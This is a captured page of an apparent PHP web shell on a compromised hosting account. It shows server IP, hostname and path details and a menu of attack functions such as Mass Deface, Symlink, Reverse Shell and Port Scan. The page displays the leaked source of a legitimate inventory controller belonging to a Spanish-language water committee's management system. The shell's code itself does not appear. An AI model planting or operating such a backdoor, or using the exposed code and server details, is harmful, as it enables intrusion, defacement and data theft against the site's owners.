Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
controllers
/
Viewing: InventariosController.php
<?php use PhpOffice\PhpSpreadsheet\IOFactory; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class InventariosController { private function ensureCsrf(): string { if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf']; } private function collectInventoryFilters(): array { return [ 'q' => trim($_GET['q'] ?? ''), 'category_id' => $_GET['category_id'] ?? '', 'status' => $_GET['status'] ?? '', ]; } private function fetchAllItems(array $filters): array { $res = InventoryItem::paginate($filters, 1, 100000); return $res['items'] ?? []; } private function describeInventoryFilters(array $filters): string { $parts = []; if (!empty($filters['q'])) { $parts[] = 'Búsqueda: "' . $filters['q'] . '"'; } if (!empty($filters['category_id'])) { $parts[] = 'Categoría ID: ' . (int)$filters['category_id']; } if (!empty($filters['status'])) { $parts[] = 'Estado: ' . $filters['status']; } return $parts ? implode(' | ', $parts) : 'Sin filtros'; } public function index(): void { requireAuth(['ADMIN','CAJERO']); // Asegurar categoría "Venta" activa y disponible try { InventoryCategory::ensureByName('Venta', 'Artículos para venta'); } catch (Throwable $e) { /* noop */ } $csrf = $this->ensureCsrf(); $filters = $this->collectInventoryFilters(); $page = max(1, (int)($_GET['page'] ?? 1)); $perPage = max(1, min(100, (int)($_GET['perPage'] ?? 15))); $result = InventoryItem::paginate($filters, $page, $perPage); $items = $result['items']; $total = $result['total']; $lastPage = $result['lastPage']; $page = $result['page']; $perPage = $result['perPage']; $categories = InventoryCategory::active(); $statuses = ['Activo','Inactivo','Baja']; require __DIR__ . '/../views/inventarios/index.php'; } public function create(): void { requireAuth(['ADMIN']); // Asegurar categoría "Venta" para permitir selección inmediata try { InventoryCategory::ensureByName('Venta', 'Artículos para venta'); } catch (Throwable $e) { /* noop */ } $csrf = $this->ensureCsrf(); $categories = InventoryCategory::active(); $statuses = ['Activo','Inactivo','Baja']; $item = [ 'category_id' => '', 'asset_code' => '', 'name' => '', 'description' => '', 'acquisition_date' => date('Y-m-d'), 'unit' => 'Unidad', 'current_quantity' => 0, 'minimum_quantity' => 0, 'unit_cost' => 0, 'status' => 'Activo', 'depreciation_months' => '', 'location' => '', ]; require __DIR__ . '/../views/inventarios/create.php'; } public function store(): void { requireAuth(['ADMIN']); if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inventarios.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $category_id = (int)($_POST['category_id'] ?? 0) ?: null; $asset_code = trim($_POST['asset_code'] ?? ''); $name = trim($_POST['name'] ?? ''); $description = trim($_POST['description'] ?? ''); $acquisition_date = $_POST['acquisition_date'] ?? ''; $unit = trim($_POST['unit'] ?? 'Unidad'); $initial_qty = (float)($_POST['initial_quantity'] ?? 0); $minimum_qty = (float)($_POST['minimum_quantity'] ?? 0); $unit_cost = (float)($_POST['unit_cost'] ?? 0); $status = trim($_POST['status'] ?? 'Activo'); $depreciation_months = $_POST['depreciation_months'] !== '' ? (int)$_POST['depreciation_months'] : null; $location = trim($_POST['location'] ?? ''); if ($asset_code === '' || $name === '') { setFlashMessage('error', 'Código y nombre son obligatorios.'); redirect('inventarios.create'); } if ($initial_qty < 0 || $minimum_qty < 0 || $unit_cost < 0) { setFlashMessage('error', 'Los valores numéricos no pueden ser negativos.'); redirect('inventarios.create'); } try { $itemId = InventoryItem::create([ 'category_id' => $category_id, 'asset_code' => $asset_code, 'name' => $name, 'description' => $description, 'acquisition_date' => $acquisition_date ?: null, 'unit' => $unit !== '' ? $unit : 'Unidad', 'current_quantity' => 0, 'minimum_quantity' => $minimum_qty, 'unit_cost' => $unit_cost, 'status' => in_array($status, ['Activo','Inactivo','Baja'], true) ? $status : 'Activo', 'depreciation_months' => $depreciation_months, 'location' => $location ?: null, ]); if ($initial_qty > 0) { InventoryTransaction::record( $itemId, 'Ingreso', $initial_qty, $unit_cost, 'Registro inicial', 'Stock inicial al crear el activo', (int)($_SESSION['user']['id'] ?? 0) ); } setFlashMessage('success', 'Artículo registrado correctamente.'); header('Location: ' . BASE_URL . '?route=inventarios.show&id=' . $itemId); exit; } catch (Throwable $e) { $msg = $e->getMessage(); if ($e instanceof PDOException && (int)$e->getCode() === 23000) { $msg = 'El código del activo ya está registrado.'; } setFlashMessage('error', 'No se pudo registrar el artículo: ' . $msg); redirect('inventarios.create'); } } public function show(): void { requireAuth(['ADMIN','CAJERO']); $csrf = $this->ensureCsrf(); $id = (int)($_GET['id'] ?? 0); if ($id <= 0) { http_response_code(400); echo 'ID inválido'; return; } $item = InventoryItem::find($id); if (!$item) { http_response_code(404); echo 'Artículo no encontrado'; return; } $categories = InventoryCategory::active(); $transactions = InventoryTransaction::recentForItem($id, 25); $statuses = ['Activo','Inactivo','Baja']; require __DIR__ . '/../views/inventarios/show.php'; } public function edit(): void { requireAuth(['ADMIN']); $csrf = $this->ensureCsrf(); $id = (int)($_GET['id'] ?? 0); if ($id <= 0) { http_response_code(400); echo 'ID inválido'; return; } $item = InventoryItem::find($id); if (!$item) { http_response_code(404); echo 'Artículo no encontrado'; return; } $categories = InventoryCategory::active(); $statuses = ['Activo','Inactivo','Baja']; require __DIR__ . '/../views/inventarios/edit.php'; } public function update(): void { requireAuth(['ADMIN']); if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inventarios.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); if ($id <= 0) { redirect('inventarios.index'); } $item = InventoryItem::find($id); if (!$item) { setFlashMessage('error', 'Artículo no encontrado.'); redirect('inventarios.index'); } $category_id = (int)($_POST['category_id'] ?? 0) ?: null; $asset_code = trim($_POST['asset_code'] ?? ''); $name = trim($_POST['name'] ?? ''); $description = trim($_POST['description'] ?? ''); $acquisition_date = $_POST['acquisition_date'] ?? ''; $unit = trim($_POST['unit'] ?? 'Unidad'); $minimum_qty = (float)($_POST['minimum_quantity'] ?? 0); $unit_cost = (float)($_POST['unit_cost'] ?? $item['unit_cost']); $status = trim($_POST['status'] ?? 'Activo'); $depreciation_months = $_POST['depreciation_months'] !== '' ? (int)$_POST['depreciation_months'] : null; $location = trim($_POST['location'] ?? ''); if ($asset_code === '' || $name === '') { setFlashMessage('error', 'Código y nombre son obligatorios.'); header('Location: ' . BASE_URL . '?route=inventarios.edit&id=' . $id); exit; } if ($minimum_qty < 0 || $unit_cost < 0) { setFlashMessage('error', 'Los valores numéricos no pueden ser negativos.'); header('Location: ' . BASE_URL . '?route=inventarios.edit&id=' . $id); exit; } try { InventoryItem::update($id, [ 'category_id' => $category_id, 'asset_code' => $asset_code, 'name' => $name, 'description' => $description, 'acquisition_date' => $acquisition_date ?: null, 'unit' => $unit !== '' ? $unit : 'Unidad', 'current_quantity' => $item['current_quantity'], 'minimum_quantity' => $minimum_qty, 'unit_cost' => $unit_cost, 'status' => in_array($status, ['Activo','Inactivo','Baja'], true) ? $status : 'Activo', 'depreciation_months' => $depreciation_months, 'location' => $location ?: null, ]); setFlashMessage('success', 'Artículo actualizado correctamente.'); header('Location: ' . BASE_URL . '?route=inventarios.show&id=' . $id); exit; } catch (Throwable $e) { $msg = $e->getMessage(); if ($e instanceof PDOException && (int)$e->getCode() === 23000) { $msg = 'El código del activo ya está registrado.'; } setFlashMessage('error', 'No se pudo actualizar el artículo: ' . $msg); header('Location: ' . BASE_URL . '?route=inventarios.edit&id=' . $id); exit; } } public function delete(): void { requireAuth(['ADMIN']); if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inventarios.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $id = (int)($_POST['id'] ?? 0); if ($id <= 0) { redirect('inventarios.index'); } try { $ok = InventoryItem::delete($id); if ($ok) { setFlashMessage('success', 'Artículo eliminado.'); } else { setFlashMessage('error', 'No se pudo eliminar el artículo.'); } } catch (Throwable $e) { setFlashMessage('error', 'Error al eliminar el artículo: ' . $e->getMessage()); } redirect('inventarios.index'); } public function storeTransaction(): void { requireAuth(['ADMIN','CAJERO']); if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') { redirect('inventarios.index'); } $token = $_POST['csrf'] ?? ''; if (!$token || !isset($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) { http_response_code(400); echo 'CSRF inválido'; return; } $itemId = (int)($_POST['item_id'] ?? 0); if ($itemId <= 0) { redirect('inventarios.index'); } $item = InventoryItem::find($itemId); if (!$item) { setFlashMessage('error', 'Artículo no encontrado.'); redirect('inventarios.index'); } $type = trim($_POST['transaction_type'] ?? ''); $quantity = (float)($_POST['quantity'] ?? 0); $unit_cost = ($_POST['unit_cost'] ?? '') !== '' ? (float)$_POST['unit_cost'] : null; $reference = trim($_POST['reference'] ?? ''); $notes = trim($_POST['notes'] ?? ''); $transacted_at = $_POST['transacted_at'] ?? date('Y-m-d H:i:s'); if ($quantity <= 0) { setFlashMessage('error', 'La cantidad debe ser mayor a 0.'); header('Location: ' . BASE_URL . '?route=inventarios.show&id=' . $itemId); exit; } try { InventoryTransaction::record( $itemId, $type, $quantity, $unit_cost, $reference ?: null, $notes ?: null, (int)($_SESSION['user']['id'] ?? 0), $transacted_at ?: null ); setFlashMessage('success', 'Movimiento registrado.'); } catch (Throwable $e) { setFlashMessage('error', 'No se pudo registrar el movimiento: ' . $e->getMessage()); } header('Location: ' . BASE_URL . '?route=inventarios.show&id=' . $itemId); exit; } public function exportPdf(): void { requireAuth(['ADMIN','CAJERO']); $filters = $this->collectInventoryFilters(); $rows = $this->fetchAllItems($filters); // Totales $totalValue = 0.0; $lowStock = 0; foreach ($rows as $r) { $qty = (float)($r['current_quantity'] ?? 0); $cost = (float)($r['unit_cost'] ?? 0); $min = (float)($r['minimum_quantity'] ?? 0); $totalValue += ($qty * $cost); if ($min > 0 && $qty < $min) { $lowStock++; } } // Intentar cargar Dompdf si existe $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } $html = $this->renderInventoryReportHtml($rows, $filters, $totalValue, $lowStock); if (class_exists('Dompdf\\Dompdf')) { $dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($html); $dompdf->setPaper('A4', 'landscape'); $dompdf->render(); $filename = 'Inventario_' . date('Ymd_His') . '.pdf'; $dompdf->stream($filename, ['Attachment' => true]); return; } // Fallback HTML imprimible header('Content-Type: text/html; charset=UTF-8'); echo $html; echo '<script>window.addEventListener("load",()=>setTimeout(()=>window.print(),200));</script>'; } public function exportExcel(): void { requireAuth(['ADMIN','CAJERO']); $filters = $this->collectInventoryFilters(); $rows = $this->fetchAllItems($filters); $totalValue = 0.0; $lowStock = 0; foreach ($rows as $r) { $qty = (float)($r['current_quantity'] ?? 0); $cost = (float)($r['unit_cost'] ?? 0); $min = (float)($r['minimum_quantity'] ?? 0); $totalValue += ($qty * $cost); if ($min > 0 && $qty < $min) { $lowStock++; } } $autoload = __DIR__ . '/../vendor/autoload.php'; if (is_file($autoload)) { @require_once $autoload; } if (!class_exists(Spreadsheet::class)) { http_response_code(500); echo 'PhpSpreadsheet no está disponible.'; return; } $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $sheet->setTitle('Inventario'); $headerColor = '173e62'; $row = 1; $sheet->mergeCells("A{$row}:K{$row}"); $sheet->setCellValue("A{$row}", 'SISCAPS - Reporte de Inventario'); $sheet->getStyle("A{$row}")->getFont()->setBold(true)->setSize(15); $sheet->getStyle("A{$row}")->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER); $row++; $sheet->mergeCells("A{$row}:K{$row}"); $sheet->setCellValue("A{$row}", 'Generado: ' . date('d/m/Y')); $row++; $sheet->mergeCells("A{$row}:K{$row}"); $sheet->setCellValue("A{$row}", 'Filtros: ' . $this->describeInventoryFilters($filters)); $row++; $sheet->mergeCells("A{$row}:K{$row}"); $sheet->setCellValue("A{$row}", 'Valor total del stock: ' . format_currency($totalValue) . ' | Bajo mínimo: ' . $lowStock); $row += 2; $headerRow = $row; $headers = [ 'Código', 'Artículo', 'Categoría', 'Unidad', 'Cantidad', 'Mínimo', 'Costo unitario', 'Valor total', 'Estado', 'Ubicación', 'Actualizado', ]; $sheet->fromArray($headers, null, "A{$headerRow}"); $sheet->getStyle("A{$headerRow}:K{$headerRow}")->applyFromArray([ 'font' => ['bold' => true, 'color' => ['rgb' => 'FFFFFF']], 'fill' => [ 'fillType' => Fill::FILL_SOLID, 'startColor' => ['rgb' => strtoupper($headerColor)], ], 'alignment' => [ 'horizontal' => Alignment::HORIZONTAL_CENTER, 'vertical' => Alignment::VERTICAL_CENTER, ], 'borders' => ['allBorders' => ['borderStyle' => Border::BORDER_THIN]], ]); $row = $headerRow + 1; foreach ($rows as $item) { $qty = (float)($item['current_quantity'] ?? 0); $min = (float)($item['minimum_quantity'] ?? 0); $unitCost = (float)($item['unit_cost'] ?? 0); $sheet->fromArray([ $item['asset_code'] ?? '', $item['name'] ?? '', $item['category_name'] ?? '', $item['unit'] ?? 'Unidad', $qty, $min, $unitCost, $qty * $unitCost, $item['status'] ?? '', $item['location'] ?? '', format_datetime($item['updated_at'] ?? ''), ], null, "A{$row}"); $row++; } $dataEndRow = $row - 1; if ($dataEndRow >= $headerRow + 1) { $sheet->getStyle("A" . ($headerRow + 1) . ":K{$dataEndRow}")->applyFromArray([ 'borders' => ['allBorders' => ['borderStyle' => Border::BORDER_HAIR]], 'alignment' => ['vertical' => Alignment::VERTICAL_CENTER], ]); $sheet->getStyle("E" . ($headerRow + 1) . ":H{$dataEndRow}") ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_NUMBER_COMMA_SEPARATED1); $sheet->setAutoFilter("A{$headerRow}:K{$dataEndRow}"); } $sheet->mergeCells("A{$row}:G{$row}"); $sheet->setCellValue("A{$row}", 'Totales'); $sheet->setCellValue("H{$row}", $totalValue); $sheet->getStyle("A{$row}:K{$row}")->applyFromArray([ 'font' => ['bold' => true], 'borders' => ['top' => ['borderStyle' => Border::BORDER_THIN]], ]); $sheet->getStyle("H{$row}") ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_NUMBER_COMMA_SEPARATED1); $row++; foreach (range('A', 'K') as $col) { $sheet->getColumnDimension($col)->setAutoSize(true); } $sheet->freezePane('A' . ($headerRow + 1)); $filename = 'Inventario_' . date('Ymd_His') . '.xlsx'; header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); header('Content-Disposition: attachment; filename="' . $filename . '"'); header('Cache-Control: max-age=0'); $writer = IOFactory::createWriter($spreadsheet, 'Xlsx'); $writer->save('php://output'); exit; } private function renderInventoryReportHtml(array $rows, array $filters, float $totalValue, int $lowStock): string { $generatedAt = date('d/m/Y H:i'); $filtersDesc = $this->describeInventoryFilters($filters); $systemData = SystemData::get(); $committeeName = trim((string)($systemData['committee_name'] ?? '')); if ($committeeName === '') { $committeeName = 'Comité de Agua Potable y Saneamiento'; } $providerReg = trim((string)($systemData['provider_registration_number'] ?? '')); $ruc = trim((string)($systemData['ruc_number'] ?? '')); $municipality = trim((string)($systemData['municipality'] ?? '')); $department = trim((string)($systemData['department'] ?? '')); $physicalAddress = trim((string)($systemData['physical_address'] ?? '')); $phone = trim((string)($systemData['phone'] ?? '')); if ($physicalAddress !== '') { $maxAddr = 110; if (mb_strlen($physicalAddress) > $maxAddr) { $physicalAddress = rtrim(mb_substr($physicalAddress, 0, $maxAddr)) . '...'; } } $locationLine = trim(implode(' - ', array_filter([$municipality, $department]))); $regRucLine = trim(implode(' | ', array_filter([ $providerReg !== '' ? ('Reg. prestador: ' . $providerReg) : '', $ruc !== '' ? ('RUC: ' . $ruc) : '', ]))); $contactLine = trim(implode(' | ', array_filter([ $physicalAddress !== '' ? ('Dir.: ' . $physicalAddress) : '', $phone !== '' ? ('Tel.: ' . $phone) : '', ]))); $logoDataUri = null; $logoRel = trim((string)($systemData['logo_path'] ?? '')); if ($logoRel !== '') { $logoAbs = dirname(__DIR__) . '/public/' . ltrim($logoRel, '/'); if (is_file($logoAbs)) { $ext = strtolower(pathinfo($logoAbs, PATHINFO_EXTENSION)); $mimeMap = [ 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'webp' => 'image/webp', 'gif' => 'image/gif', ]; $mime = $mimeMap[$ext] ?? 'application/octet-stream'; $bin = @file_get_contents($logoAbs); if ($bin !== false) { $logoDataUri = 'data:' . $mime . ';base64,' . base64_encode($bin); } } } ob_start(); ?> <!doctype html> <html lang="es"> <head> <meta charset="utf-8"> <title>Informe de Inventario</title> <style> * { box-sizing: border-box; } body { font-family: Arial, Helvetica, sans-serif; font-size: 10px; color:#222; margin: 12px; } .membrete { border-bottom: 1px solid #ddd; padding-bottom: 6px; margin-bottom: 8px; } .membrete-table { width: 100%; border-collapse: collapse; table-layout: auto; } .membrete-logo { width: 64px; vertical-align: top; padding-right: 8px; } .membrete-logo img { width: 64px; height: 64px; object-fit: contain; } .membrete-info { vertical-align: top; } .membrete-right { width: 280px; vertical-align: top; text-align: right; } .membrete-title { font-size: 12px; font-weight: bold; margin: 0; line-height: 1.2; } .membrete-line { font-size: 9px; margin: 0; line-height: 1.2; color: #333; } .membrete-meta { font-size: 9px; color: #555; word-break: break-word; } table { width:100%; border-collapse: collapse; table-layout: fixed; } th, td { padding:5px 6px; border-bottom:1px solid #eee; text-align:left; font-size: 9px; vertical-align: top; word-wrap: break-word; } thead th { background:#f8f9fa; border-bottom:1px solid #ddd; } .right { text-align:right; } .danger { color:#b42318; font-weight:bold; } </style> </head> <body> <div class="membrete"> <table class="membrete-table"> <tr> <td class="membrete-logo"> <?php if (!empty($logoDataUri)): ?> <img src="<?= htmlspecialchars($logoDataUri) ?>" alt="Logo"> <?php endif; ?> </td> <td class="membrete-info"> <p class="membrete-title"><?= htmlspecialchars($committeeName) ?></p> <?php if ($regRucLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($regRucLine) ?></p> <?php endif; ?> <?php if ($locationLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($locationLine) ?></p> <?php endif; ?> <?php if ($contactLine !== ''): ?> <p class="membrete-line"><?= htmlspecialchars($contactLine) ?></p> <?php endif; ?> </td> <td class="membrete-right"> <p class="membrete-title">Inventario</p> <div class="membrete-meta"><strong>Total artículos:</strong> <?= count($rows) ?></div> <div class="membrete-meta"><strong>Valor stock:</strong> <?= format_currency($totalValue) ?></div> <div class="membrete-meta"><strong>Bajo mínimo:</strong> <?= (int)$lowStock ?></div> <div class="membrete-meta"><strong>Generado:</strong> <?= htmlspecialchars($generatedAt) ?></div> <div class="membrete-meta"><strong>Filtro:</strong> <?= htmlspecialchars($filtersDesc) ?></div> </td> </tr> </table> </div> <table> <thead> <tr> <th style="width:12%">Código</th> <th>Artículo</th> <th style="width:14%">Categoría</th> <th style="width:12%" class="right">Cantidad</th> <th style="width:12%" class="right">Mínimo</th> <th style="width:12%" class="right">Costo unitario</th> <th style="width:12%" class="right">Valor stock</th> <th style="width:10%">Estado</th> </tr> </thead> <tbody> <?php if ($rows): foreach ($rows as $r): $qty = (float)($r['current_quantity'] ?? 0); $min = (float)($r['minimum_quantity'] ?? 0); $cost = (float)($r['unit_cost'] ?? 0); $value = $qty * $cost; $isLow = ($min > 0 && $qty < $min); ?> <tr> <td><?= htmlspecialchars($r['asset_code'] ?? '') ?></td> <td><?= htmlspecialchars($r['name'] ?? '') ?></td> <td><?= htmlspecialchars($r['category_name'] ?? 'Sin categoría') ?></td> <td class="right<?= $isLow ? ' danger' : '' ?>"><?= format_num($qty, 2) ?> <?= htmlspecialchars($r['unit'] ?? '') ?></td> <td class="right"><?= format_num($min, 2) ?> <?= htmlspecialchars($r['unit'] ?? '') ?></td> <td class="right"><?= format_currency($cost) ?></td> <td class="right"><strong><?= format_currency($value) ?></strong></td> <td><?= htmlspecialchars($r['status'] ?? '') ?></td> </tr> <?php endforeach; else: ?> <tr><td colspan="8" class="muted">No hay artículos para los filtros seleccionados.</td></tr> <?php endif; ?> </tbody> </table> </body> </html> <?php return (string)ob_get_clean(); } }
Coded With 💗 by
0x6ick